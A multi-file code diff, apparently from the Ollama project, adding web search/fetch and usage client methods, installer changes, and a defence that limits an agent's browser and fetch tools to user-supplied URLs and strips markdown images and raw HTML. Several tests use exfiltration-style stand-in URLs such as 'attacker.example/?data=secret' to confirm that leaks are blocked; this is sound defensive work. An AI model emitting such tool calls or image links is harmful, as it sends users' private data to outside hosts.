@@ -259,6 +259,10 @@ func (c *Client) stream(ctx context.Context, method, path string, data any, fn f
}
}
if err := scanner.Err(); err != nil {
return err
}
return nil
}
@@ -469,6 +473,26 @@ func (c *Client) CloudStatusExperimental(ctx context.Context) (*StatusResponse,
return &status, nil
}
// WebSearchExperimental searches the web through the local server's
// experimental web search endpoint.
func (c *Client) WebSearchExperimental(ctx context.Context, req *WebSearchRequest) (*WebSearchResponse, error) {
var resp WebSearchResponse
if err := c.do(ctx, http.MethodPost, "/api/experimental/web_search", req, &resp); err != nil {
return nil, err
}
return &resp, nil
}
// WebFetchExperimental fetches web page content through the local server's
// experimental web fetch endpoint.
func (c *Client) WebFetchExperimental(ctx context.Context, req *WebFetchRequest) (*WebFetchResponse, error) {
var resp WebFetchResponse
if err := c.do(ctx, http.MethodPost, "/api/experimental/web_fetch", req, &resp); err != nil {
return nil, err
}
return &resp, nil
}
// Signout will signout a client for a local ollama server.
func (c *Client) Signout(ctx context.Context) error {
return c.do(ctx, http.MethodPost, "/api/signout", nil, nil)
@@ -486,3 +510,13 @@ func (c *Client) Whoami(ctx context.Context) (*UserResponse, error) {
}
return &resp, nil
}
// Usage returns the authenticated user's recent activity and included-usage
// limits.
func (c *Client) Usage(ctx context.Context) (*UsageResponse, error) {
var resp UsageResponse
if err := c.do(ctx, http.MethodGet, "/api/usage", nil, &resp); err != nil {
return nil, err
}
return &resp, nil
}
+152
View File
@@ -3,6 +3,7 @@ package api
import (
"encoding/json"
"fmt"
"io"
"net/http"
"net/http/httptest"
"net/url"
@@ -50,6 +51,32 @@ func TestClientFromEnvironment(t *testing.T) {
}
}
func TestClientUsage(t *testing.T) {
ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet || r.URL.Path != "/api/usage" {
t.Fatalf("request = %s %s, want GET /api/usage", r.Method, r.URL.Path)
}
fmt.Fprint(w, `{"activity":{"cost":"0.00709","period":{"type":"last_4_weeks","starting_at":"2026-06-29T00:00:00Z","ending_at":"2026-07-27T00:00:00Z"},"models":[{"name":"qwen3-coder:480b","request_count":1,"cost":"0.00709"}]},"limits":{"session":{"usage":0.006,"models":[]},"weekly":{"usage":0,"models":[]}}}`)
}))
defer ts.Close()
base, err := url.Parse(ts.URL)
if err != nil {
t.Fatal(err)
}
got, err := NewClient(base, ts.Client()).Usage(t.Context())
if err != nil {
t.Fatal(err)
}
if got.Activity.Cost != "0.00709" {
t.Errorf("activity cost = %q, want 0.00709", got.Activity.Cost)
}
if len(got.Activity.Models) != 1 || got.Activity.Models[0].Name != "qwen3-coder:480b" {
t.Errorf("activity models = %#v, want qwen3-coder:480b", got.Activity.Models)
}
}
// testError represents an internal error type with status code and message
// this is used since the error response from the server is not a standard error struct
type testError struct {
@@ -192,6 +219,35 @@ func TestClientStream(t *testing.T) {
}
}
func TestClientStreamReportsReadErrors(t *testing.T) {
client := NewClient(
&url.URL{Scheme: "http", Host: "example.com"},
&http.Client{Transport: roundTripFunc(func(*http.Request) (*http.Response, error) {
body := failingReader{
data: []byte(`{"message":{"content":"partial"}}` + "\n"),
err: io.ErrUnexpectedEOF,
}
return &http.Response{
StatusCode: http.StatusOK,
Status: "200 OK",
Body: io.NopCloser(&body),
Header: make(http.Header),
}, nil
})},
)
err := client.stream(t.Context(), http.MethodPost, "/api/chat", nil, func([]byte) error {
return nil
})
if err == nil {
t.Fatal("expected stream read error")
}
if !strings.Contains(err.Error(), io.ErrUnexpectedEOF.Error()) {
t.Fatalf("expected unexpected EOF, got %v", err)
}
}
func TestClientDo(t *testing.T) {
testCases := []struct {
name string
@@ -320,3 +376,99 @@ func TestClientDo(t *testing.T) {
})
}
}
func TestClientWebSearchExperimentalUsesLocalRoute(t *testing.T) {
var gotPath string
var gotMethod string
var gotRequest WebSearchRequest
ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
gotPath = r.URL.Path
gotMethod = r.Method
if err := json.NewDecoder(r.Body).Decode(&gotRequest); err != nil {
t.Fatal(err)
}
if err := json.NewEncoder(w).Encode(WebSearchResponse{
Results: []WebSearchResult{{Title: "Ollama", URL: "https://ollama.com", Content: "models"}},
}); err != nil {
t.Fatal(err)
}
}))
defer ts.Close()
client := NewClient(&url.URL{Scheme: "http", Host: ts.Listener.Addr().String()}, http.DefaultClient)
resp, err := client.WebSearchExperimental(t.Context(), &WebSearchRequest{Query: "ollama", MaxResults: 3})
if err != nil {
t.Fatal(err)
}
if gotMethod != http.MethodPost {
t.Fatalf("method = %q, want POST", gotMethod)
}
if gotPath != "/api/experimental/web_search" {
t.Fatalf("path = %q, want /api/experimental/web_search", gotPath)
}
if gotRequest.Query != "ollama" || gotRequest.MaxResults != 3 {
t.Fatalf("request = %#v", gotRequest)
}
if len(resp.Results) != 1 || resp.Results[0].Title != "Ollama" {
t.Fatalf("response = %#v", resp)
}
}
func TestClientWebFetchExperimentalUsesLocalRoute(t *testing.T) {
var gotPath string
var gotMethod string
var gotRequest WebFetchRequest
ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
gotPath = r.URL.Path
gotMethod = r.Method
if err := json.NewDecoder(r.Body).Decode(&gotRequest); err != nil {
t.Fatal(err)
}
if err := json.NewEncoder(w).Encode(WebFetchResponse{
Title: "Ollama",
Content: "models",
Links: []string{"https://ollama.com/library"},
}); err != nil {
t.Fatal(err)
}
}))
defer ts.Close()
client := NewClient(&url.URL{Scheme: "http", Host: ts.Listener.Addr().String()}, http.DefaultClient)
resp, err := client.WebFetchExperimental(t.Context(), &WebFetchRequest{URL: "https://ollama.com"})
if err != nil {
t.Fatal(err)
}
if gotMethod != http.MethodPost {
t.Fatalf("method = %q, want POST", gotMethod)
}
if gotPath != "/api/experimental/web_fetch" {
t.Fatalf("path = %q, want /api/experimental/web_fetch", gotPath)
}
if gotRequest.URL != "https://ollama.com" {
t.Fatalf("request = %#v", gotRequest)
}
if resp.Title != "Ollama" || resp.Content != "models" {
t.Fatalf("response = %#v", resp)
}
}
type roundTripFunc func(*http.Request) (*http.Response, error)
func (f roundTripFunc) RoundTrip(req *http.Request) (*http.Response, error) {
return f(req)
}
type failingReader struct {
data []byte
err error
}
func (r *failingReader) Read(p []byte) (int, error) {
if len(r.data) > 0 {
n := copy(p, r.data)
r.data = r.data[n:]
return n, nil
}
return 0, r.err
}
+122 -25
View File
@@ -600,12 +600,13 @@ type Options struct {
// Runner options which must be set when the model is loaded into memory
type Runner struct {
NumCtx int `json:"num_ctx,omitempty"`
NumBatch int `json:"num_batch,omitempty"`
NumGPU int `json:"num_gpu,omitempty"`
MainGPU int `json:"main_gpu,omitempty"`
UseMMap *bool `json:"use_mmap,omitempty"`
NumThread int `json:"num_thread,omitempty"`
NumCtx int `json:"num_ctx,omitempty"`
NumBatch int `json:"num_batch,omitempty"`
NumGPU int `json:"num_gpu,omitempty"`
MainGPU *int `json:"main_gpu,omitempty"`
UseMMap *bool `json:"use_mmap,omitempty"`
NumThread int `json:"num_thread,omitempty"`
DraftNumPredict int `json:"draft_num_predict,omitempty"`
}
// EmbedRequest is the request passed to [Client.Embed].
@@ -672,6 +673,9 @@ type CreateRequest struct {
// Quantize is the quantization format for the model; leave blank to not change the quantization level.
Quantize string `json:"quantize,omitempty"`
// DraftQuantize is the quantization format for the draft model.
DraftQuantize string `json:"draft_quantize,omitempty"`
// From is the name of the model or file to use as the source.
From string `json:"from,omitempty"`
@@ -681,6 +685,9 @@ type CreateRequest struct {
// Files is a map of files include when creating the model.
Files map[string]string `json:"files,omitempty"`
// DraftFiles is a map of draft model files to include when creating the model.
DraftFiles map[string]string `json:"draft_files,omitempty"`
// Adapters is a map of LoRA adapters to include when creating the model.
Adapters map[string]string `json:"adapters,omitempty"`
@@ -824,14 +831,15 @@ type ProcessResponse struct {
// ListModelResponse is a single model description in [ListResponse].
type ListModelResponse struct {
Name string `json:"name"`
Model string `json:"model"`
RemoteModel string `json:"remote_model,omitempty"`
RemoteHost string `json:"remote_host,omitempty"`
ModifiedAt time.Time `json:"modified_at"`
Size int64 `json:"size"`
Digest string `json:"digest"`
Details ModelDetails `json:"details,omitempty"`
Name string `json:"name"`
Model string `json:"model"`
RemoteModel string `json:"remote_model,omitempty"`
RemoteHost string `json:"remote_host,omitempty"`
ModifiedAt time.Time `json:"modified_at"`
Size int64 `json:"size"`
Digest string `json:"digest"`
Details ModelDetails `json:"details,omitempty"`
Capabilities []model.Capability `json:"capabilities,omitempty"`
}
// ProcessModelResponse is a single model description in [ProcessResponse].
@@ -860,6 +868,36 @@ type StatusResponse struct {
Cloud CloudStatus `json:"cloud"`
}
// WebSearchRequest is the request for [Client.WebSearchExperimental].
type WebSearchRequest struct {
Query string `json:"query"`
MaxResults int `json:"max_results,omitempty"`
}
// WebSearchResult is a single result from [Client.WebSearchExperimental].
type WebSearchResult struct {
Title string `json:"title"`
URL string `json:"url"`
Content string `json:"content"`
}
// WebSearchResponse is the response from [Client.WebSearchExperimental].
type WebSearchResponse struct {
Results []WebSearchResult `json:"results"`
}
// WebFetchRequest is the request for [Client.WebFetchExperimental].
type WebFetchRequest struct {
URL string `json:"url"`
}
// WebFetchResponse is the response from [Client.WebFetchExperimental].
type WebFetchResponse struct {
Title string `json:"title"`
Content string `json:"content"`
Links []string `json:"links,omitempty"`
}
// GenerateResponse is the response passed into [GenerateResponseFunc].
type GenerateResponse struct {
// Model is the model name that generated the response.
@@ -924,6 +962,8 @@ type ModelDetails struct {
Families []string `json:"families"`
ParameterSize string `json:"parameter_size"`
QuantizationLevel string `json:"quantization_level"`
ContextLength int `json:"context_length,omitempty"`
EmbeddingLength int `json:"embedding_length,omitempty"`
}
// UserResponse provides information about a user.
@@ -938,6 +978,45 @@ type UserResponse struct {
Plan string `json:"plan,omitempty"`
}
// UsageResponse reports recent activity and included-usage limits.
type UsageResponse struct {
Activity UsageActivity `json:"activity"`
Limits UsageLimits `json:"limits"`
}
// UsageActivity reports usage activity over a period.
type UsageActivity struct {
Cost string `json:"cost"`
Period UsagePeriod `json:"period"`
Models []UsageModel `json:"models"`
}
// UsagePeriod describes the time window the usage covers.
type UsagePeriod struct {
Type string `json:"type"`
StartingAt time.Time `json:"starting_at"`
EndingAt time.Time `json:"ending_at"`
}
// UsageLimits reports included usage for the current session and week.
type UsageLimits struct {
Session UsageLimit `json:"session"`
Weekly UsageLimit `json:"weekly"`
}
// UsageLimit reports the consumed fraction of an included-usage limit.
type UsageLimit struct {
Usage float64 `json:"usage"`
Models []UsageModel `json:"models"`
}
// UsageModel reports a model's activity.
type UsageModel struct {
Name string `json:"name"`
RequestCount int `json:"request_count"`
Cost string `json:"cost,omitempty"`
}
// Tensor describes the metadata for a given tensor.
type Tensor struct {
Name string `json:"name"`
@@ -1046,14 +1125,25 @@ func (opts *Options) FromMap(m map[string]any) error {
}
field.Set(reflect.ValueOf(slice))
case reflect.Pointer:
var b bool
if field.Type() == reflect.TypeOf(&b) {
switch field.Type().Elem().Kind() {
case reflect.Bool:
val, ok := val.(bool)
if !ok {
return fmt.Errorf("option %q must be of type boolean", key)
}
field.Set(reflect.ValueOf(&val))
} else {
case reflect.Int:
var i int
switch t := val.(type) {
case int64:
i = int(t)
case float64:
i = int(t)
default:
return fmt.Errorf("option %q must be of type integer", key)
}
field.Set(reflect.ValueOf(&i))
default:
return fmt.Errorf("unknown type loading config params: %v %v", field.Kind(), field.Type())
}
default:
@@ -1086,11 +1176,12 @@ func DefaultOptions() Options {
Runner: Runner{
// options set when the model is loaded
NumCtx: int(envconfig.ContextLength()),
NumBatch: 512,
NumGPU: -1, // -1 here indicates that NumGPU should be set dynamically
NumThread: 0, // let the runtime decide
UseMMap: nil,
NumCtx: int(envconfig.ContextLength()),
NumBatch: 512,
NumGPU: -1, // -1 here indicates that NumGPU should be set dynamically
NumThread: 0, // let the runtime decide
DraftNumPredict: 4,
UseMMap: nil,
},
}
}
@@ -1294,14 +1385,20 @@ func FormatParams(params map[string][]string) (map[string]any, error) {
// TODO: only string slices are supported right now
out[key] = vals
case reflect.Pointer:
var b bool
if field.Type() == reflect.TypeOf(&b) {
switch field.Type().Elem().Kind() {
case reflect.Bool:
boolVal, err := strconv.ParseBool(vals[0])
if err != nil {
return nil, fmt.Errorf("invalid bool value %s", vals)
}
out[key] = &boolVal
} else {
case reflect.Int:
intVal, err := strconv.ParseInt(vals[0], 10, 64)
if err != nil {
return nil, fmt.Errorf("invalid int value %s", vals)
}
out[key] = intVal
default:
return nil, fmt.Errorf("unknown type %s for %s", field.Kind(), key)
}
default:
+51
View File
@@ -20,6 +20,10 @@ func testPropsMap(m map[string]ToolProperty) *ToolPropertiesMap {
return props
}
func testIntPtr(v int) *int {
return &v
}
// testArgs creates ToolCallFunctionArguments from a map (convenience function for tests, order not preserved)
func testArgs(m map[string]any) ToolCallFunctionArguments {
args := NewToolCallFunctionArguments()
@@ -168,6 +172,47 @@ func TestUseMmapParsingFromJSON(t *testing.T) {
}
}
func TestMainGPUParsingFromJSON(t *testing.T) {
tests := []struct {
name string
req string
wantGPU *int
}{
{
name: "Undefined",
req: `{}`,
},
{
name: "Zero",
req: `{ "main_gpu": 0 }`,
wantGPU: testIntPtr(0),
},
{
name: "Nonzero",
req: `{ "main_gpu": 1 }`,
wantGPU: testIntPtr(1),
},
}
for _, test := range tests {
t.Run(test.name, func(t *testing.T) {
var oMap map[string]any
err := json.Unmarshal([]byte(test.req), &oMap)
require.NoError(t, err)
opts := DefaultOptions()
err = opts.FromMap(oMap)
require.NoError(t, err)
if test.wantGPU == nil {
assert.Nil(t, opts.MainGPU)
} else if assert.NotNil(t, opts.MainGPU) {
assert.Equal(t, *test.wantGPU, *opts.MainGPU)
}
})
}
}
func TestUseMmapFormatParams(t *testing.T) {
tr := true
fa := false
@@ -232,6 +277,12 @@ func TestUseMmapFormatParams(t *testing.T) {
}
}
func TestMainGPUFormatParams(t *testing.T) {
resp, err := FormatParams(map[string][]string{"main_gpu": {"0"}})
require.NoError(t, err)
assert.Equal(t, int64(0), resp["main_gpu"])
}
func TestMessage_UnmarshalJSON(t *testing.T) {
tests := []struct {
input string
+10 -50
View File
@@ -14,6 +14,7 @@
#define MyAppPublisher "Ollama"
#define MyAppURL "https://ollama.com/"
#define MyAppExeName "ollama app.exe"
#define LlamaServerExeName "llama-server.exe"
#define MyIcon ".\assets\app.ico"
[Setup]
@@ -90,9 +91,8 @@ DialogFontSize=12
[Files]
#if FileExists("..\dist\windows-ollama-app-amd64.exe")
Source: "..\dist\windows-ollama-app-amd64.exe"; DestDir: "{app}"; DestName: "{#MyAppExeName}" ;Check: not IsArm64(); Flags: ignoreversion 64bit; BeforeInstall: TaskKill('{#MyAppExeName}')
Source: "..\dist\windows-amd64\vc_redist.x64.exe"; DestDir: "{tmp}"; Check: not IsArm64() and vc_redist_needed(); Flags: deleteafterinstall
Source: "..\dist\windows-amd64\ollama.exe"; DestDir: "{app}"; Check: not IsArm64(); Flags: ignoreversion 64bit; BeforeInstall: TaskKill('ollama.exe')
Source: "..\dist\windows-amd64\lib\ollama\*"; DestDir: "{app}\lib\ollama\"; Check: not IsArm64(); Flags: ignoreversion 64bit recursesubdirs
Source: "..\dist\windows-amd64\lib\ollama\*"; Excludes: "\mlx_*\*"; DestDir: "{app}\lib\ollama\"; Check: not IsArm64(); Flags: ignoreversion 64bit recursesubdirs
#endif
; For local development, rely on binary compatibility at runtime since we can't cross compile
@@ -103,9 +103,11 @@ Source: "..\dist\windows-ollama-app-amd64.exe"; DestDir: "{app}"; DestName: "{#M
#endif
#if FileExists("..\dist\windows-arm64\ollama.exe")
Source: "..\dist\windows-arm64\vc_redist.arm64.exe"; DestDir: "{tmp}"; Check: IsArm64() and vc_redist_needed(); Flags: deleteafterinstall
Source: "..\dist\windows-arm64\ollama.exe"; DestDir: "{app}"; Check: IsArm64(); Flags: ignoreversion 64bit; BeforeInstall: TaskKill('ollama.exe')
#endif
#if DirExists("..\dist\windows-arm64\lib\ollama")
Source: "..\dist\windows-arm64\lib\ollama\*"; DestDir: "{app}\lib\ollama\"; Check: IsArm64(); Flags: ignoreversion 64bit recursesubdirs
#endif
Source: ".\assets\app.ico"; DestDir: "{app}"; Flags: ignoreversion
@@ -118,12 +120,6 @@ Name: "{userprograms}\{#MyAppName}"; Filename: "{app}\{#MyAppExeName}"; IconFile
Type: files; Name: "{%LOCALAPPDATA}\Ollama\updates"
[Run]
#if DirExists("..\dist\windows-arm64")
Filename: "{tmp}\vc_redist.arm64.exe"; Parameters: "/install /passive /norestart"; Check: IsArm64() and vc_redist_needed(); StatusMsg: "Installing VC++ Redistributables..."; Flags: waituntilterminated
#endif
#if DirExists("..\dist\windows-amd64")
Filename: "{tmp}\vc_redist.x64.exe"; Parameters: "/install /passive /norestart"; Check: not IsArm64() and vc_redist_needed(); StatusMsg: "Installing VC++ Redistributables..."; Flags: waituntilterminated
#endif
Filename: "{cmd}"; Parameters: "/C set PATH={app};%PATH% & ""{app}\{#MyAppExeName}"""; Flags: postinstall nowait runhidden
[UninstallRun]
@@ -131,6 +127,7 @@ Filename: "{cmd}"; Parameters: "/C set PATH={app};%PATH% & ""{app}\{#MyAppExeNam
; Filename: "{cmd}"; Parameters: "/C ""taskkill /im ollama.exe /f /t"; Flags: runhidden
Filename: "taskkill"; Parameters: "/im ""{#MyAppExeName}"" /f /t"; Flags: runhidden
Filename: "taskkill"; Parameters: "/im ""ollama.exe"" /f /t"; Flags: runhidden
Filename: "taskkill"; Parameters: "/im ""{#LlamaServerExeName}"" /f /t"; Flags: runhidden
; HACK! need to give the server and app enough time to exit
; TODO - convert this to a Pascal code script so it waits until they're no longer running, then completes
Filename: "{cmd}"; Parameters: "/c timeout 5"; Flags: runhidden
@@ -184,46 +181,6 @@ begin
Result := Pos(';' + ExpandConstant(Param) + ';', ';' + OrigPath + ';') = 0;
end;
{ --- VC Runtime libraries discovery code - Only install vc_redist if it isn't already installed ----- }
const VCRTL_MIN_V1 = 14;
const VCRTL_MIN_V2 = 40;
const VCRTL_MIN_V3 = 33807;
const VCRTL_MIN_V4 = 0;
// check if the minimum required vc redist is installed (by looking the registry)
function vc_redist_needed (): Boolean;
var
sRegKey: string;
v1: Cardinal;
v2: Cardinal;
v3: Cardinal;
v4: Cardinal;
begin
if (IsArm64()) then begin
sRegKey := 'SOFTWARE\WOW6432Node\Microsoft\VisualStudio\14.0\VC\Runtimes\arm64';
end else begin
sRegKey := 'SOFTWARE\Microsoft\VisualStudio\14.0\VC\Runtimes\x64';
end;
if (RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'Major', v1) and
RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'Minor', v2) and
RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'Bld', v3) and
RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'RBld', v4)) then
begin
Log ('VC Redist version: ' + IntToStr (v1) +
'.' + IntToStr (v2) + '.' + IntToStr (v3) +
'.' + IntToStr (v4));
{ Version info was found. Return true if later or equal to our
minimal required version RTL_MIN_Vx }
Result := not (
(v1 > VCRTL_MIN_V1) or ((v1 = VCRTL_MIN_V1) and
((v2 > VCRTL_MIN_V2) or ((v2 = VCRTL_MIN_V2) and
((v3 > VCRTL_MIN_V3) or ((v3 = VCRTL_MIN_V3) and
(v4 >= VCRTL_MIN_V4)))))));
end
else
Result := TRUE;
end;
function GetDirSize(Path: String): Int64;
var
FindRec: TFindRec;
@@ -370,5 +327,8 @@ procedure TaskKill(FileName: String);
var
ResultCode: Integer;
begin
Exec('taskkill.exe', '/f /im ' + '"' + FileName + '"', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
Exec('taskkill.exe', '/f /t /im ' + '"' + FileName + '"', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
if FileName <> '{#LlamaServerExeName}' then begin
Exec('taskkill.exe', '/f /t /im "{#LlamaServerExeName}"', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
end;
end;
+1 -1
View File
@@ -164,7 +164,7 @@ func reapServers() error {
continue
}
cmd := exec.Command("taskkill", "/F", "/PID", pidStr)
cmd := exec.Command("taskkill", "/F", "/T", "/PID", pidStr)
if err := cmd.Run(); err != nil {
slog.Warn("failed to kill ollama process", "pid", pid, "err", err)
}
+10 -9
View File
@@ -1201,15 +1201,16 @@ func (db *database) getSettings() (Settings, error) {
func (db *database) setSettings(s Settings) error {
lastHomeView := strings.ToLower(strings.TrimSpace(s.LastHomeView))
validLaunchView := map[string]struct{}{
"launch": {},
"openclaw": {},
"claude": {},
"hermes": {},
"codex": {},
"copilot": {},
"opencode": {},
"droid": {},
"pi": {},
"launch": {},
"openclaw": {},
"claude": {},
"hermes": {},
"codex": {},
"codex-app": {},
"copilot": {},
"opencode": {},
"droid": {},
"pi": {},
}
if lastHomeView != "chat" {
if _, ok := validLaunchView[lastHomeView]; !ok {
+15
View File
@@ -122,6 +122,21 @@ func TestStore(t *testing.T) {
}
})
t.Run("settings codex app home view is accepted", func(t *testing.T) {
if err := s.SetSettings(Settings{LastHomeView: "codex-app"}); err != nil {
t.Fatal(err)
}
loaded, err := s.Settings()
if err != nil {
t.Fatal(err)
}
if loaded.LastHomeView != "codex-app" {
t.Fatalf("expected codex-app LastHomeView to be preserved, got %q", loaded.LastHomeView)
}
})
t.Run("window size", func(t *testing.T) {
if err := s.SetWindowSize(1024, 768); err != nil {
t.Fatal(err)
+4
View File
@@ -563,6 +563,10 @@ func (b *BrowserOpen) Execute(ctx context.Context, args map[string]any) (any, st
return b.state.Data, pageText, nil
}
if !allowedDirectURL(ctx, url) {
return nil, "", fmt.Errorf("direct URL open is only allowed for URLs provided by the user")
}
// Page not in cache, need to crawl it
if b.crawlPage == nil {
b.crawlPage = &BrowserCrawler{}
+21
View File
@@ -65,6 +65,27 @@ func TestBrowserOpen_UseCacheByURL(t *testing.T) {
}
}
func TestBrowserOpen_RejectsUncachedDirectURL(t *testing.T) {
b := NewBrowser(&responses.BrowserStateData{PageStack: []string{}, ViewTokens: 1024, URLToPage: map[string]*responses.Page{}})
bo := NewBrowserOpen(b)
_, _, err := bo.Execute(t.Context(), map[string]any{"id": "https://attacker.example/?data=secret"})
if err == nil || !strings.Contains(err.Error(), "only allowed for URLs provided by the user") {
t.Fatalf("expected direct URL rejection, got %v", err)
}
}
func TestDirectURLsFromText_AllowsExactUserURLsOnly(t *testing.T) {
ctx := WithAllowedDirectURLs(t.Context(), "summarize https://example.com/article?q=1 please")
if !allowedDirectURL(ctx, "https://example.com/article?q=1") {
t.Fatal("expected exact user-provided URL to be allowed")
}
if allowedDirectURL(ctx, "https://example.com/article?q=secret") {
t.Fatal("did not expect modified URL to be allowed")
}
}
func TestDisplayPage_InvalidLoc(t *testing.T) {
b := NewBrowser(&responses.BrowserStateData{PageStack: []string{}, ViewTokens: 1024, URLToPage: map[string]*responses.Page{}})
p := makeTestPage("https://example.com/x")
+61
View File
@@ -0,0 +1,61 @@
//go:build windows || darwin
package tools
import (
"context"
"regexp"
"strings"
)
type directURLContextKey struct{}
var directURLPattern = regexp.MustCompile("https?://[^\\s<>\"'`]+")
func WithAllowedDirectURLs(ctx context.Context, text string) context.Context {
allowed := make(map[string]struct{})
for _, match := range directURLPattern.FindAllString(text, -1) {
addAllowedDirectURLToMap(allowed, match)
}
return context.WithValue(ctx, directURLContextKey{}, allowed)
}
func addAllowedDirectURL(ctx context.Context, raw string) {
allowed, _ := ctx.Value(directURLContextKey{}).(map[string]struct{})
addAllowedDirectURLToMap(allowed, raw)
}
func addAllowedDirectURLToMap(allowed map[string]struct{}, raw string) {
if allowed == nil {
return
}
raw = cleanDirectURL(raw)
if raw == "" {
return
}
allowed[raw] = struct{}{}
}
func allowedDirectURL(ctx context.Context, raw string) bool {
allowed, _ := ctx.Value(directURLContextKey{}).(map[string]struct{})
cleaned := cleanDirectURL(raw)
if cleaned == "" || cleaned != raw {
return false
}
_, ok := allowed[cleaned]
return ok
}
func cleanDirectURL(raw string) string {
raw = strings.TrimSpace(raw)
raw = strings.TrimRight(raw, ".,;:!?)]}")
if !strings.HasPrefix(raw, "http://") && !strings.HasPrefix(raw, "https://") {
return ""
}
return raw
}
+21
View File
@@ -0,0 +1,21 @@
//go:build windows || darwin
package tools
import "testing"
func TestDirectURLsFromText_RejectsChangedToolArgument(t *testing.T) {
ctx := WithAllowedDirectURLs(t.Context(), "summarize https://attacker.example/x")
if allowedDirectURL(ctx, "https://attacker.example/x!!!!") {
t.Fatal("expected changed tool argument to be rejected")
}
}
func TestDirectURLsFromText_ExtractsMarkdownCodeSpanURL(t *testing.T) {
ctx := WithAllowedDirectURLs(t.Context(), "summarize `https://example.com/privacy`")
if !allowedDirectURL(ctx, "https://example.com/privacy") {
t.Fatal("expected URL wrapped in backticks to be allowed")
}
}
+6
View File
@@ -67,11 +67,17 @@ func (w *WebFetch) Execute(ctx context.Context, args map[string]any) (any, strin
if !ok || strings.TrimSpace(urlStr) == "" {
return nil, "", fmt.Errorf("url must be a non-empty string")
}
if !allowedDirectURL(ctx, urlStr) {
return nil, "", fmt.Errorf("web fetch is only allowed for URLs provided by the user")
}
result, err := performWebFetch(ctx, urlStr)
if err != nil {
return nil, "", err
}
for _, link := range result.Links {
addAllowedDirectURL(ctx, link)
}
return result, "", nil
}
+3
View File
@@ -88,6 +88,9 @@ func (w *WebSearch) Execute(ctx context.Context, args map[string]any) (any, stri
if err != nil {
return nil, "", err
}
for _, result := range result.Results {
addAllowedDirectURL(ctx, result.URL)
}
return result, "", nil
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 41 KiB

+13 -5
View File
@@ -22,11 +22,12 @@ const LAUNCH_COMMANDS: LaunchCommand[] = [
iconClassName: "h-7 w-7",
},
{
id: "openclaw",
name: "OpenClaw",
command: "ollama launch openclaw",
description: "Personal AI with 100+ skills",
icon: "/launch-icons/openclaw.svg",
id: "chatgpt",
name: "ChatGPT",
command: "ollama launch chatgpt",
description: "Complete work with ChatGPT",
icon: "/launch-icons/codex-app.png",
iconClassName: "h-full w-full",
},
{
id: "hermes",
@@ -36,6 +37,13 @@ const LAUNCH_COMMANDS: LaunchCommand[] = [
icon: "/launch-icons/hermes-agent.svg",
iconClassName: "h-7 w-7",
},
{
id: "openclaw",
name: "OpenClaw",
command: "ollama launch openclaw",
description: "Personal AI with 100+ skills",
icon: "/launch-icons/openclaw.svg",
},
{
id: "opencode",
name: "OpenCode",
@@ -0,0 +1,61 @@
import { renderToStaticMarkup } from "react-dom/server";
import type React from "react";
import { beforeEach, describe, expect, it, vi } from "vitest";
type MockStreamdownProps = {
children?: React.ReactNode;
components: {
img: React.ComponentType<React.ImgHTMLAttributes<HTMLImageElement>>;
};
rehypePlugins?: unknown[];
};
const streamdownMock = vi.hoisted(() =>
vi.fn((props: MockStreamdownProps) => props.children),
);
vi.mock("streamdown", () => ({
Streamdown: streamdownMock,
defaultRehypePlugins: {
katex: "katex",
raw: "raw",
},
defaultRemarkPlugins: {
gfm: "gfm",
math: "math",
},
}));
import StreamingMarkdownContent from "./StreamingMarkdownContent";
describe("StreamingMarkdownContent", () => {
beforeEach(() => {
streamdownMock.mockClear();
});
it("does not enable raw HTML parsing", () => {
renderToStaticMarkup(
<StreamingMarkdownContent content="<iframe></iframe>" />,
);
const props = streamdownMock.mock.calls[0][0];
expect(props.rehypePlugins).toEqual(["katex"]);
expect(props.rehypePlugins).not.toContain("raw");
});
it("does not render markdown image src values", () => {
renderToStaticMarkup(
<StreamingMarkdownContent content="![secret](https://attacker.example/pixel?data=secret)" />,
);
const props = streamdownMock.mock.calls[0][0];
const Img = props.components.img;
const html = renderToStaticMarkup(
<Img alt="secret" src="https://attacker.example/pixel?data=secret" />,
);
expect(html).not.toContain("<img");
expect(html).not.toContain("attacker.example");
expect(html).toContain("secret");
});
});
@@ -1,5 +1,9 @@
import React from "react";
import { Streamdown, defaultRemarkPlugins } from "streamdown";
import {
Streamdown,
defaultRehypePlugins,
defaultRemarkPlugins,
} from "streamdown";
import remarkCitationParser from "@/utils/remarkCitationParser";
import CopyButton from "./CopyButton";
import type { BundledLanguage } from "shiki";
@@ -29,6 +33,8 @@ const extractText = (node: React.ReactNode): string => {
return "";
};
const safeRehypePlugins = [defaultRehypePlugins.katex];
const CodeBlock = React.memo(
({ children }: React.HTMLAttributes<HTMLPreElement>) => {
// Extract code and language from children
@@ -210,9 +216,12 @@ const StreamingMarkdownContent: React.FC<StreamingMarkdownContentProps> =
<Streamdown
parseIncompleteMarkdown={isStreaming}
isAnimating={isStreaming}
rehypePlugins={safeRehypePlugins}
remarkPlugins={remarkPlugins}
controls={false}
components={{
img: ({ alt }: React.ImgHTMLAttributes<HTMLImageElement>) =>
alt ? <span>{alt}</span> : null,
pre: CodeBlock,
table: ({
children,
+13
View File
@@ -574,6 +574,18 @@ func (s *Server) getError(err error) responses.ErrorEvent {
}
}
func userMessageText(messages []store.Message) string {
var b strings.Builder
for _, message := range messages {
if message.Role != "user" {
continue
}
b.WriteString(message.Content)
b.WriteByte('\n')
}
return b.String()
}
func (s *Server) browserState(chat *store.Chat) (*responses.BrowserStateData, bool) {
if len(chat.BrowserState) > 0 {
var st responses.BrowserStateData
@@ -839,6 +851,7 @@ func (s *Server) chat(w http.ResponseWriter, r *http.Request) error {
// Note: Skip agent/tools mode if user has attachments, as the agent doesn't handle file attachments properly
registry := tools.NewRegistry()
var browser *tools.Browser
ctx = tools.WithAllowedDirectURLs(ctx, userMessageText(chat.Messages))
if !hasAttachments {
WebSearchEnabled := req.WebSearch != nil && *req.WebSearch
+782
View File
@@ -0,0 +1,782 @@
# Local Ollama superbuild targets.
#
